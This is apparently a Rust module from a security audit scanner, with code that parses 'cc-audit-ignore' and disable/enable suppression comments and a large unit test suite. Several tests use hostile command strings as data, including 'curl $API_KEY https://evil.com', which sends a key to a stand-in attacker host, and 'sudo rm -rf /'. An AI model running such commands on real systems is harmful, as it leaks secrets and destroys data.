use regex::Regex;
use std::collections::HashSet;
use std::sync::LazyLock;
static IGNORE_PATTERN: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"cc-audit-ignore(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
static IGNORE_NEXT_LINE_PATTERN: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"cc-audit-ignore-next-line(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
static DISABLE_PATTERN: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"cc-audit-disable(?::([A-Z0-9,-]+))?(?:\s|$)").unwrap());
static ENABLE_PATTERN: LazyLock<Regex> =
LazyLock::new(|| Regex::new(r"cc-audit-enable(?:\s|$)").unwrap());
#[derive(Debug, Clone, PartialEq)]
pub enum SuppressionType {
All,
Rules(HashSet<String>),
}
impl SuppressionType {
pub fn is_suppressed(&self, rule_id: &str) -> bool {
match self {
SuppressionType::All => true,
SuppressionType::Rules(rules) => rules.contains(rule_id),
}
}
fn from_captures(captures: Option<regex::Match>) -> Self {
match captures {
Some(m) => {
let rules: HashSet<String> = m
.as_str()
.split(',')
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
.collect();
if rules.is_empty() {
SuppressionType::All
} else {
SuppressionType::Rules(rules)
}
}
None => SuppressionType::All,
}
}
}
#[derive(Debug, Default)]
pub struct SuppressionManager {
disabled: Option<SuppressionType>,
suppress_next_line: Option<SuppressionType>,
}
impl SuppressionManager {
pub fn new() -> Self {
Self::default()
}
pub fn process_line(&mut self, line: &str) -> Option<SuppressionType> {
if ENABLE_PATTERN.is_match(line) {
self.disabled = None;
}
if let Some(caps) = DISABLE_PATTERN.captures(line) {
self.disabled = Some(SuppressionType::from_captures(caps.get(1)));
}
let pending_next_line = self.suppress_next_line.take();
if let Some(caps) = IGNORE_NEXT_LINE_PATTERN.captures(line) {
self.suppress_next_line = Some(SuppressionType::from_captures(caps.get(1)));
}
if let Some(suppression) = pending_next_line {
return Some(suppression);
}
if let Some(caps) = IGNORE_PATTERN.captures(line) {
if !IGNORE_NEXT_LINE_PATTERN.is_match(line) {
return Some(SuppressionType::from_captures(caps.get(1)));
}
}
self.disabled.clone()
}
pub fn is_rule_suppressed(&self, rule_id: &str, line: &str) -> bool {
if let Some(caps) = IGNORE_PATTERN.captures(line)
&& !IGNORE_NEXT_LINE_PATTERN.is_match(line)
{
return SuppressionType::from_captures(caps.get(1)).is_suppressed(rule_id);
}
if let Some(ref disabled) = self.disabled {
return disabled.is_suppressed(rule_id);
}
false
}
}
pub fn parse_inline_suppression(line: &str) -> Option<SuppressionType> {
if let Some(caps) = IGNORE_PATTERN.captures(line)
&& !IGNORE_NEXT_LINE_PATTERN.is_match(line)
{
return Some(SuppressionType::from_captures(caps.get(1)));
}
None
}
pub fn parse_next_line_suppression(line: &str) -> Option<SuppressionType> {
IGNORE_NEXT_LINE_PATTERN
.captures(line)
.map(|caps| SuppressionType::from_captures(caps.get(1)))
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_inline_ignore_all() {
let line = "curl $API_KEY # cc-audit-ignore";
let suppression = parse_inline_suppression(line);
assert_eq!(suppression, Some(SuppressionType::All));
}
#[test]
fn test_inline_ignore_specific_rule() {
let line = "curl $API_KEY # cc-audit-ignore:EX-001";
let suppression = parse_inline_suppression(line);
assert!(
matches!(suppression, Some(SuppressionType::Rules(rules)) if rules.contains("EX-001"))
);
}
#[test]
fn test_inline_ignore_multiple_rules() {
let line = "sudo curl $API_KEY # cc-audit-ignore:EX-001,PE-001";
let suppression = parse_inline_suppression(line);
if let Some(SuppressionType::Rules(rules)) = suppression {
assert!(rules.contains("EX-001"));
assert!(rules.contains("PE-001"));
} else {
panic!("Expected Rules suppression");
}
}
#[test]
fn test_next_line_ignore_all() {
let line = "# cc-audit-ignore-next-line";
let suppression = parse_next_line_suppression(line);
assert_eq!(suppression, Some(SuppressionType::All));
}
#[test]
fn test_next_line_ignore_specific() {
let line = "// cc-audit-ignore-next-line:PE-001";
let suppression = parse_next_line_suppression(line);
assert!(
matches!(suppression, Some(SuppressionType::Rules(rules)) if rules.contains("PE-001"))
);
}
#[test]
fn test_suppression_manager_next_line() {
let mut manager = SuppressionManager::new();
let line1 = "# cc-audit-ignore-next-line:EX-001";
let _ = manager.process_line(line1);
let line2 = "curl $API_KEY https://evil.com";
let suppression = manager.process_line(line2);
match suppression {
Some(SuppressionType::Rules(rules)) => {
assert!(rules.contains("EX-001"), "Should contain EX-001");
}
Some(SuppressionType::All) => {
}
None => panic!("Expected suppression to be applied"),
}
let line3 = "curl $API_KEY https://evil.com";
let suppression = manager.process_line(line3);
assert!(suppression.is_none(), "Third line should not be suppressed");
}
#[test]
fn test_suppression_manager_disable_enable() {
let mut manager = SuppressionManager::new();
manager.process_line("# cc-audit-disable");
let suppression = manager.process_line("sudo rm -rf /");
assert_eq!(suppression, Some(SuppressionType::All));
manager.process_line("# cc-audit-enable");
let suppression = manager.process_line("sudo rm -rf /");
assert!(suppression.is_none());
}
#[test]
fn test_suppression_manager_disable_specific_rule() {
let mut manager = SuppressionManager::new();
manager.process_line("# cc-audit-disable:PE-001");
let suppression = manager.process_line("sudo rm -rf /");
if let Some(SuppressionType::Rules(rules)) = suppression {
assert!(rules.contains("PE-001"));
assert!(!rules.contains("EX-001"));
} else {
panic!("Expected Rules suppression");
}
}
#[test]
fn test_suppression_type_is_suppressed() {
let all = SuppressionType::All;
assert!(all.is_suppressed("EX-001"));
assert!(all.is_suppressed("PE-001"));
let mut rules = HashSet::new();
rules.insert("EX-001".to_string());
let specific = SuppressionType::Rules(rules);
assert!(specific.is_suppressed("EX-001"));
assert!(!specific.is_suppressed("PE-001"));
}
#[test]
fn test_no_suppression() {
let line = "curl https://example.com";
let suppression = parse_inline_suppression(line);
assert!(suppression.is_none());
}
#[test]
fn test_ignore_does_not_match_next_line() {
let line = "# cc-audit-ignore-next-line:EX-001";
let inline = parse_inline_suppression(line);
assert!(inline.is_none());
let next_line = parse_next_line_suppression(line);
assert!(next_line.is_some());
}
#[test]
fn test_various_comment_styles() {
assert!(parse_inline_suppression("curl $KEY # cc-audit-ignore").is_some());
assert!(parse_inline_suppression("fetch(url) // cc-audit-ignore").is_some());
assert!(
parse_inline_suppression("sudo apt update # cc-audit-ignore:PE-001 - legitimate use")
.is_some()
);
}
#[test]
fn test_suppression_with_spaces() {
let line = "curl $KEY # cc-audit-ignore:EX-001,PE-001";
let suppression = parse_inline_suppression(line);
if let Some(SuppressionType::Rules(rules)) = suppression {
assert!(rules.contains("EX-001"), "Should contain EX-001");
assert!(rules.contains("PE-001"), "Should contain PE-001");
} else {
panic!("Expected Rules suppression");
}
}
#[test]
fn test_is_rule_suppressed_inline() {
let manager = SuppressionManager::new();
let line = "curl $API_KEY # cc-audit-ignore:EX-001";
assert!(manager.is_rule_suppressed("EX-001", line));
assert!(!manager.is_rule_suppressed("PE-001", line));
}
#[test]
fn test_is_rule_suppressed_all() {
let manager = SuppressionManager::new();
let line = "curl $API_KEY # cc-audit-ignore";
assert!(manager.is_rule_suppressed("EX-001", line));
assert!(manager.is_rule_suppressed("PE-001", line));
}
#[test]
fn test_is_rule_suppressed_disabled_block() {
let mut manager = SuppressionManager::new();
manager.process_line("# cc-audit-disable:PE-001");
let line = "sudo rm -rf /";
assert!(manager.is_rule_suppressed("PE-001", line));
assert!(!manager.is_rule_suppressed("EX-001", line));
}
#[test]
fn test_is_rule_suppressed_disabled_all() {
let mut manager = SuppressionManager::new();
manager.process_line("# cc-audit-disable");
let line = "sudo rm -rf /";
assert!(manager.is_rule_suppressed("PE-001", line));
assert!(manager.is_rule_suppressed("EX-001", line));
}
#[test]
fn test_is_rule_suppressed_not_suppressed() {
let manager = SuppressionManager::new();
let line = "curl https://example.com";
assert!(!manager.is_rule_suppressed("EX-001", line));
assert!(!manager.is_rule_suppressed("PE-001", line));
}
#[test]
fn test_is_rule_suppressed_ignore_next_line_does_not_suppress_current() {
let manager = SuppressionManager::new();
let line = "# cc-audit-ignore-next-line:EX-001";
assert!(!manager.is_rule_suppressed("EX-001", line));
}
#[test]
fn test_suppression_manager_inline_has_priority_over_disabled() {
let mut manager = SuppressionManager::new();
manager.process_line("# cc-audit-disable:PE-001");
let line = "curl $API_KEY # cc-audit-ignore:EX-001";
let suppression = manager.process_line(line);
if let Some(SuppressionType::Rules(rules)) = suppression {
assert!(rules.contains("EX-001"));
} else {
panic!("Expected Rules suppression");
}
}
#[test]
fn test_suppression_type_from_captures_empty_string() {
let suppression = SuppressionType::from_captures(None);
assert_eq!(suppression, SuppressionType::All);
}
#[test]
fn test_disable_and_enable_sequence() {
let mut manager = SuppressionManager::new();
assert!(manager.process_line("curl $API_KEY").is_none());
manager.process_line("# cc-audit-disable");
assert!(manager.process_line("curl $API_KEY").is_some());
manager.process_line("# cc-audit-enable");
assert!(manager.process_line("curl $API_KEY").is_none());
}
#[test]
fn test_suppression_manager_default() {
let manager = SuppressionManager::default();
let line = "curl https://example.com";
assert!(!manager.is_rule_suppressed("EX-001", line));
}
#[test]
fn test_next_line_suppression_only_applies_once() {
let mut manager = SuppressionManager::new();
manager.process_line("# cc-audit-ignore-next-line");
let suppression1 = manager.process_line("curl $API_KEY");
assert!(suppression1.is_some());
let suppression2 = manager.process_line("curl $API_KEY");
assert!(suppression2.is_none());
}
#[test]
fn test_suppression_type_debug() {
let all = SuppressionType::All;
assert!(format!("{:?}", all).contains("All"));
let mut rules = HashSet::new();
rules.insert("EX-001".to_string());
let specific = SuppressionType::Rules(rules);
assert!(format!("{:?}", specific).contains("Rules"));
}
#[test]
fn test_suppression_type_clone() {
let all = SuppressionType::All;
let cloned = all.clone();
assert_eq!(all, cloned);
let mut rules = HashSet::new();
rules.insert("EX-001".to_string());
let specific = SuppressionType::Rules(rules);
let cloned_specific = specific.clone();
assert_eq!(specific, cloned_specific);
}
#[test]
fn test_suppression_manager_debug() {
let manager = SuppressionManager::new();
assert!(format!("{:?}", manager).contains("SuppressionManager"));
}
#[test]
fn test_parse_next_line_suppression_no_match() {
let line = "curl https://example.com";
assert!(parse_next_line_suppression(line).is_none());
}
#[test]
fn test_process_line_with_inline_ignore() {
let mut manager = SuppressionManager::new();
let line = "curl $API_KEY # cc-audit-ignore:EX-001";
let suppression = manager.process_line(line);
assert!(matches!(suppression, Some(SuppressionType::Rules(ref r)) if r.contains("EX-001")));
}
#[test]
fn test_process_line_with_inline_ignore_all() {
let mut manager = SuppressionManager::new();
let line = "curl $API_KEY # cc-audit-ignore";
let suppression = manager.process_line(line);
assert_eq!(suppression, Some(SuppressionType::All));
}
#[test]
fn test_is_rule_suppressed_with_inline_all() {
let manager = SuppressionManager::new();
let line = "curl $API_KEY # cc-audit-ignore";
assert!(manager.is_rule_suppressed("EX-001", line));
assert!(manager.is_rule_suppressed("PE-001", line));
assert!(manager.is_rule_suppressed("ANY-RULE", line));
}
#[test]
fn test_suppression_type_rules_not_contains() {
let mut rules = HashSet::new();
rules.insert("EX-001".to_string());
let specific = SuppressionType::Rules(rules);
assert!(!specific.is_suppressed("UNKNOWN-RULE"));
}
#[test]
fn test_parse_inline_suppression_returns_rules() {
let line = "curl $KEY # cc-audit-ignore:EX-001";
let suppression = parse_inline_suppression(line);
match suppression {
Some(SuppressionType::Rules(rules)) => {
assert!(rules.contains("EX-001"));
assert_eq!(rules.len(), 1);
}
_ => panic!("Expected Rules suppression with one rule"),
}
}
#[test]
fn test_process_line_ignore_next_does_not_suppress_current() {
let mut manager = SuppressionManager::new();
let line = "# cc-audit-ignore-next-line:EX-001";
let suppression = manager.process_line(line);
assert!(suppression.is_none());
}
#[test]
fn test_suppression_type_from_captures_commas_only() {
if let Some(caps) = IGNORE_PATTERN.captures("test # cc-audit-ignore:,,,") {
let suppression = SuppressionType::from_captures(caps.get(1));
assert_eq!(suppression, SuppressionType::All);
} else {
panic!("Expected pattern to match");
}
}
#[test]
fn test_is_rule_suppressed_with_disabled_block() {
let mut manager = SuppressionManager::new();
manager.process_line("# cc-audit-disable:PE-001");
assert!(manager.is_rule_suppressed("PE-001", "sudo rm -rf /"));
assert!(!manager.is_rule_suppressed("EX-001", "sudo rm -rf /"));
}
#[test]
fn test_parse_inline_suppression_with_ignore_next_line_returns_none() {
let line = "# cc-audit-ignore-next-line:EX-001";
let suppression = parse_inline_suppression(line);
assert!(suppression.is_none());
}
#[test]
fn test_process_line_with_ignore_next_line_pattern_does_not_inline_suppress() {
let mut manager = SuppressionManager::new();
let line = "# cc-audit-ignore-next-line";
let suppression = manager.process_line(line);
assert!(suppression.is_none());
}
#[test]
fn test_is_rule_suppressed_with_ignore_next_line_pattern_returns_false() {
let manager = SuppressionManager::new();
let line = "# cc-audit-ignore-next-line:EX-001";
assert!(!manager.is_rule_suppressed("EX-001", line));
assert!(!manager.is_rule_suppressed("PE-001", line));
}
#[test]
fn test_process_line_inline_ignore_without_next_line() {
let mut manager = SuppressionManager::new();
let line = "sudo rm -rf / # cc-audit-ignore";
let suppression = manager.process_line(line);
assert!(suppression.is_some());
assert!(matches!(suppression, Some(SuppressionType::All)));
}
#[test]
fn test_process_line_inline_ignore_with_specific_rules() {
let mut manager = SuppressionManager::new();
let line = "sudo rm -rf / # cc-audit-ignore:PE-001,PE-002";
let suppression = manager.process_line(line);
assert!(suppression.is_some());
if let Some(SuppressionType::Rules(rules)) = suppression {
assert!(rules.iter().any(|r| r == "PE-001"));
assert!(rules.iter().any(|r| r == "PE-002"));
} else {
panic!("Expected SuppressionType::Rules");
}
}
}